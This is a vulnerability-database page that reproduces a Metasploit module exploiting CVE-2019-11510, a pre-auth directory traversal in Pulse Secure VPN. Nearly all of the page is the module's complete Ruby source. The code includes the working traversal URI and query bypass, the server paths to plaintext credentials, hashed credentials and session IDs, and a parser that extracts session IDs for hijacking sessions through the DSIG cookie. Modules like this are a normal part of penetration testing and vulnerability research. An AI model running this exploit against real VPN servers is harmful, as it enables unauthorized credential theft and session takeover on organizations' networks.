Lucene search
K

Pulse Secure VPN Arbitrary File Disclosure

🗓️ 31 Aug 2024 00:00:00Reported by Orange Tsai, wvu, Alyssa Herrera, Justin Wagner, Meh Chang, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 342 Views

Pulse Secure VPN Arbitrary File Disclosure, exploit pre-auth directory traversal to dump arbitrary files. Automatic mode dumps plaintext/hashed credentials and session IDs, allow session hijacking. Manual mode allows specification of file to dump, /etc/passwd dumped by default. Also related post-auth exploit available

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Pulse Secure VPN Arbitrary File Disclosure',  
'Description' => %q{  
This module exploits a pre-auth directory traversal in the Pulse Secure  
VPN server to dump an arbitrary file. Dumped files are stored in loot.  
  
If the "Automatic" action is set, plaintext and hashed credentials, as  
well as session IDs, will be dumped. Valid sessions can be hijacked by  
setting the "DSIG" browser cookie to a valid session ID.  
  
For the "Manual" action, please specify a file to dump via the "FILE"  
option. /etc/passwd will be dumped by default. If the "PRINT" option is  
set, file contents will be printed to the screen, with any unprintable  
characters replaced by a period.  
  
Please see related module exploit/linux/http/pulse_secure_cmd_exec for  
a post-auth exploit that can leverage the results from this module.  
},  
'Author' => [  
'Orange Tsai', # Discovery (@orange_8361)  
'Meh Chang', # Discovery (@mehqq_)  
'Alyssa Herrera', # PoC (@Alyssa_Herrera_)  
'Justin Wagner', # Module (@0xDezzy)  
'wvu' # Module  
],  
'References' => [  
['CVE', '2019-11510'],  
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],  
['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],  
['URL', 'https://hackerone.com/reports/591295']  
],  
'DisclosureDate' => '2019-04-24', # Public disclosure  
'License' => MSF_LICENSE,  
'Actions' => [  
['Automatic', 'Description' => 'Dump creds and sessions'],  
['Manual', 'Description' => 'Dump an arbitrary file (FILE option)']  
],  
'DefaultAction' => 'Automatic',  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'HttpClientTimeout' => 5 # This seems sane  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => [],  
'RelatedModules' => ['exploit/linux/http/pulse_secure_cmd_exec']  
}  
))  
  
register_options([  
OptString.new(  
'FILE',  
[  
true,  
'File to dump (manual mode only)',  
'/etc/passwd'  
]  
),  
OptBool.new(  
'PRINT',  
[  
false,  
'Print file contents (manual mode only)',  
true  
]  
)  
])  
end  
  
def the_chosen_one  
return datastore['FILE'], 'User-chosen file'  
end  
  
def run  
files =  
case action.name  
when 'Automatic'  
print_status('Running in automatic mode')  
  
# Order by most sensitive first  
[  
plaintext_creds,  
session_ids,  
hashed_creds  
]  
when 'Manual'  
print_status('Running in manual mode')  
  
# /etc/passwd by default  
[the_chosen_one]  
end  
  
files.each do |path, info|  
print_status("Dumping #{path}")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => dir_traversal(path),  
'partial' => true # Allow partial response due to timeout  
)  
  
unless res  
fail_with(Failure::Unreachable, "Could not dump #{path}")  
end  
  
handle_response(res, path, info)  
end  
end  
  
def handle_response(res, path, info)  
case res.code  
when 200  
case action.name  
when 'Automatic'  
# TODO: Parse plaintext and hashed creds  
if path == session_ids.first  
print_status('Parsing session IDs...')  
  
parse_sids(res.body).each do |sid|  
print_good("Session ID found: #{sid}")  
end  
end  
when 'Manual'  
printable = res.body.gsub(/[^[:print:][:space:]]/, '.')  
  
print_line(printable) if datastore['PRINT']  
end  
  
print_good(store_loot(  
self.name, # ltype  
'application/octet-stream', # ctype  
rhost, # host  
res.body, # data  
path, # filename  
info # info  
))  
when 302  
fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")  
when 400  
print_error("Invalid path #{path}")  
when 404  
print_error("#{path} not found")  
else  
print_error("I don't know what a #{res.code} code is")  
end  
end  
  
def dir_traversal(path)  
normalize_uri(  
'/dana-na/../dana/html5acc/guacamole/../../../../../..',  
"#{path}?/dana/html5acc/guacamole/" # Bypass query/vars_get  
)  
end  
  
def parse_sids(body)  
body.to_s.scan(/randomVal([[:xdigit:]]+)/).flatten.reverse  
end  
  
def plaintext_creds  
return '/data/runtime/mtmp/lmdb/dataa/data.mdb', 'Plaintext credentials'  
end  
  
def session_ids  
return '/data/runtime/mtmp/lmdb/randomVal/data.mdb', 'Session IDs'  
end  
  
def hashed_creds  
return '/data/runtime/mtmp/system', 'Hashed credentials'  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation